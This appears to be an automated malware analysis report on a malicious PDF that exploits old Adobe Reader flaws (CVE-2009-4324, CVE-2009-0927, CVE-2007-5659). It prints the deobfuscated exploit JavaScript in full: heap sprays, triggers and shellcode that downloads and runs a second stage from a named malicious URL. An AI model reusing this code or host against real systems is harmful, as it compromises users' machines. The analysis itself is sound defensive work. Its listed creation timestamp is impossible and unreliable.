Malicious PDF — malware analysis report

Static analysis result for SHA-256 255ba6cd438d2b55…

MALICIOUS

PDF

7.3 KB Created: 2009-01-35 62:12:26 Authoring application: Adobe First seen: 2012-07-12
MD5: cb58af5f0da5d8e3d6fcc855269a46c8 SHA-1: 366084f1d16fe651cfbfeebee3417df678a18da2 SHA-256: 255ba6cd438d2b5557a19b697511ab12a9ce47634a1c8e00cf1e4bcca825db76
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

This PDF file contains multiple critical heuristic firings indicating exploitation of CVE-2009-4324, CVE-2009-0927, and CVE-2007-5659. These vulnerabilities are leveraged through embedded JavaScript, which uses `eval()` and `unescape()` functions. The deobfuscated JavaScript streams suggest the primary intent is to download and execute a second-stage payload. The ML classifier also strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval('var bvb = ev'+ccc+'cape;va'+ccc2+'l;');
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kozzz.in/2/load.php?spl=pdf_new Referenced by PDF JavaScript
    • http://kozzz.in/2/load.php?spl=pdf_packReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0032_000.js pdf-javascript-stream PDF /JS object 32 at offset 0x427 134 bytes
SHA-256: b8490d2a5ab92db3437379b22682944e8b0cd6941de1828eefb90c89368fbff5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var ccc = 'al;var z = unes';
var ccc2 = 'r C6ofPnWvDEpCFyq1Dyd = eva';

eval('var bvb = ev'+ccc+'cape;va'+ccc2+'l;');
javascript_obj0034_001.js pdf-javascript-stream PDF /JS object 34 at offset 0x4E7 139 bytes
SHA-256: b8a9411f055e11b50e2a57c092c95ff380e19b8642a85c53d6c529607c7cf0c7
Preview script
First 1,000 lines of the extracted script
var e9elF8cpBNxniMspqUR = '%';

var nA11xjNpYEKzoQnTpb101 = this.info.Molok;
var nA11xjNpYEKzoQnTpb102 = this.info.author;
javascript_obj0036_002.js pdf-javascript-stream PDF /JS object 36 at offset 0x109 158 bytes
SHA-256: 97082439b093476d62bee8a9a269171d9c36eca54eedb5d2f9d665b9d6bd11dc
Preview script
First 1,000 lines of the extracted script
var nA11xjNpYEKzoQnTpb103 = this.info.title;
var nA11xjNpYEKzoQnTpb1 = nA11xjNpYEKzoQnTpb101  + nA11xjNpYEKzoQnTpb102 + nA11xjNpYEKzoQnTpb103;
javascript_obj0038_003.js pdf-javascript-stream PDF /JS object 38 at offset 0xC4E 178 bytes
SHA-256: daa354bad7639fa44f37a347fdee565157b6078dbcc21ed09040b0b91eadfe4d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var lkaa = 'nA11xjNpYEKzoQnTpb1.re' + 'place(/gjfj o30444444/g,e9elF8cpBNxniMspqUR)';
var xxx = C6ofPnWvDEpCFyq1Dyd(lkaa);

var opFa2UZrVmp0pzAqxtE = z(unescape(xxx));
javascript_obj0078_004.js pdf-javascript-stream PDF /JS object 78 at offset 0x7C 47 bytes
SHA-256: 7a7dd3baba2c5bf3813baad22e86b1ec9b1db15dc37982cae1e42bb369b3952b
Preview script
First 1,000 lines of the extracted script
C6ofPnWvDEpCFyq1Dyd(opFa2UZrVmp0pzAqxtE);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x5DE 1622 bytes
SHA-256: b2e581467bf11f1cda7841f535399ca8cf5f18b4ea8a9b313116d79eb6dd6a58
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}  function printd(){var shellcode = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u7A6F%u7A7A%u692E%u2F6E%u2F32%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u6E5F%u7765");var block = unescape("%u0c0c%u0c0c");var GDagaCuyNfRSFzaSZLO = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u514e%u4865%u4844%u724f%u4a6e%u6d43%u4b51%u4b79%u7156%u4d41%u5944%u596b%u7979%u625a%u626f%u7a6e%u634e%u4a4d%u6341%u6253%u4154%u5670%u5543%u4273%u4c51%u576d%u5772%u5670");while(block.length <= 32768) block+=block;block=block.substring(0,32768 - shellcode.length);memory=new Array();for(i=0;i<0x2000;i++) {memory[i]= block + shellcode;}util.printd("rlpPpjTXXIncUhwagCzcuHfmkzObBSZDGNdC", new Date());util.printd("SotSxNQvMqKNjJkIXioKlmfZYfmiPGgGNNKn", new Date());try {this.media.newPlayer(null);} catch(e) {}util.printd(GDagaCuyNfRSFzaSZLO, new Date());}
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0xD89 1788 bytes
SHA-256: 8c3b226331a8a2d232a4cc72b974630e50e33b5f5de98e2fa80a3a31881fc4c2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u7A6F%u7A7A%u692E%u2F6E%u2F32%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u705F%u6361%u006B");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}  var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}  tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}  function PPPDDDFF(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}  if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}  if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}  printd();  }  PPPDDDFF();
legacy_pdfkit_stage_002.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x13EF 2914 bytes
SHA-256: 067232e5360e076dc3d6d89d14ad6e56bd2606d96e516099987b41ec6705bbdf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u7A6F%u7A7A%u692E%u2F6E%u2F32%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u705F%u6361%u006B");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");  var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}  var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}  var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}  function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u7A6F%u7A7A%u692E%u2F6E%u2F32%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u705F%u6361%u006B");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}  var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}

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